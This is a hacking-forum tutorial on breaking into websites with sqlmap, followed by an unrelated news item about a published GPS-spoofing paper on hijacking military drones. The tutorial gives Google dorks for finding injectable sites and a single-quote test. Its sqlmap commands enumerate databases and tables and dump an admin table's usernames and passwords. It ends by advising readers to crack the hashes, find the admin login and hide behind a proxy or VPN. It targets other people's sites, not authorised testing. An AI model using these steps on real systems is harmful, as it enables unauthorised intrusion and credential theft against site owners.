HACK WEBSITE USING SQLMAP | KALI LINUX - BACKTRACK

In this tutorial I am going to show you how to hack a website with sqlmap on Kali Linux.

Introduction
[*]Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. This is all about sqlmap. 
Now follow my steps to hack a website using sqlmap.

Step 1
[*]Find Sql vulnerable site. 
I will give you some dorks which may help you finding websites vulnerable to Sql Injection.

Code:

]inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=

Step 2
[*]Test if the website is vulnerable
]To test if the website is vulnerable to Sqli just add " ' " at the end of the url. Like on the image below:



And press enter. If error appears like on the image below it means the website is vulnerable. 




(I'm not going to explain advanced ways to check the website for sql vulnerabiities because there are plenty of tutuorials about that on CHF)

Ok, so we found the target. Now let's go ahed.

Step 3
[*]Injection
Type this command in the terminal and hit enter like on the image below:

Code:

sqlmap -u "www.yourtaget.com/page.php?id=1" --dbs

(Insert the url that we checked for Sql Vulnerability)

Image has been scaled down 6% (700x460). Click this bar to view original image (741x486). Click image to open in new window.

Now we will get the database name of the website.

Image has been scaled down 6% (700x460). Click this bar to view original image (741x486). Click image to open in new window.

We got the two database ohridhot_ohrid
and information_schema we will select ohridhot_ohrid
database.

Let's get the tables of that database.
For that we need to enter this command on terminal and after that hit Enter. 

Code:

sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid --tables

Image has been scaled down 4% (700x49). Click this bar to view original image (723x50). Click image to open in new window.

Now we will get the tables list which is stored in the database we selected.

Image has been scaled down 3% (700x257). Click this bar to view original image (717x263). Click image to open in new window.

Now lets grab the columns from the admin table , type on terminal:

Code:

sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid -T admin --columns

Now we got the columns and we got user and pass like on the image below

Image has been scaled down 1% (700x130). Click this bar to view original image (703x130). Click image to open in new window.

Now let's grab the user and pass

Code:

sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid -T admin -C user,pass --dump

Now we have to decrypt the hash , there are also tutorial about hash decryption on CHF.
The only thing which is left now is to find the admin page and remember to use Proxy/Vpn !

[*]Directory of sqlmap on Kali Linux
Places -> Computer -> Filesystem -> usr -> share -> sqlmap -> output


That's all , I hope you enjoyed the tutorial.

How to Hack a Military Drone Manual is Already Online

The information needed to hack a sophisticated military drone is already available on internet and hackers could use this how-to guide for hijacking military drones, an Israeli defense manufacturer said earlier this week. This news comes in the wake of the increasing warnings of drone hacking.
Drones are the new warfare tools as they are cost and life-saving by performing multiple functions with ease. A manual named “The Requirements for Successful GPS Spoofing Attacks” was published back in 2011 just a month before the CIA drone downing by Iran. Israel Aerospace Industries cyber-programs director Esti Peshin pointed out the possibility of the use of this document in the downing.

Peshin said, “It’s (How to Hack a Military Drone Manual) a PDF file…essentially a blueprint for hackers.” “You can Google, just look up ‘Tippenhauer’ – it’s the first result in Google. Look up ‘UAV cyberattacks’ – it’s the third one. ‘UAV GPS spoofing attacks’ – the first one,” she added.
The study explains the way to feed the GPS system to fake signals so that drones end up losing the ability to calculate its coordinates. In the report, Peshin says that the goal of the study was to point out the “effective receiver-based countermeasures, which are not implemented yet in current standard GPS receivers.”
The PDF file published didn’t mean any harm but hackers could have possibly exploited the instructions given before the drone manufacturers recognize the risks and fortified the drones.

At the end of the article, they had listed many UAVs and told which were riskier than the other by the way.
Currently, the Pentagon is working to shield the UAV surveillance and navigation system from the outside interference.
Read out extensive coverage on drones and know about the latest advancements being made in the field.
Visit this link for the 2011 PDF file on how to hack a military drone.